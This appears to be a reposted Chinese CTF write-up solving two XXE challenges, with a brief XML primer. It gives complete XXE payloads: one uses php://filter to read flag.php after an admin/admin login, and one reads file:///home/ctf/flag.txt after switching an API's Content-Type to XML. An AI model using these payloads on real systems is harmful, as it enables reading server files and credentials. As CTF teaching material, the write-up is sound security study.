CTF中關於XXE(XML外部實體注入)題目兩道


題目:UNCTF-Do you like xml?

鏈接:http://112.74.37.15:8008/

hint:weak password (弱密碼)

1、觀察后下載圖片拖進WINHEX發現提示:flag in flag.php , 進入112.74.37.15:8080/flag.php 發現啥也沒有 需要拿下php文件好好看看

2、根據題目hint 嘗試登陸 賬號密碼統一admin 提示登陸成功  bp發現為xxe (XML外部實體注入)

3、構造一下xxe 進行base64解密 得到flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">  ]>
<user><username>&xxe;</username><password>admin</password></user>

解密結果如下:

<?php
$flag="flag{19d5c4d4d138d850a773bae8bfc978f0}";
?>

 

題目:Jarvis-api調用

鏈接:http://web.jarvisoj.com:9882/

hint:請設法獲得目標機器/home/ctf/flag.txt中的flag值

 

1、查看源代碼:

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

上bp發現這段代碼也只是向后台發送數據包而已,回顯的信息能看到是用python/2.7.6寫的 其他沒啥信息

猜測XXE 將Content-Type: application/json修改為 Content-Type: application/xml 構造XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">  ]>
<tq>&xxe;</tq>

 

附:

xml(extensible markup language)擴展標記語言。用來描述數據。xml中標記是自定義,它使用DTD或者schema來描述數據。

總結:xml用來組織,存儲和發送信息的。

1、xml和html的區別:

xml 重點:描述和存放數據。

html 重點:如何把數據更好的現實在頁面上。

2、xml的標記分類:

單標記<標記名稱 />

雙標記<標記名稱>....</標記名稱>

 

參考文章:

https://security.tencent.com/index.php/blog/msg/69

http://www.freebuf.com/articles/web/126788.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM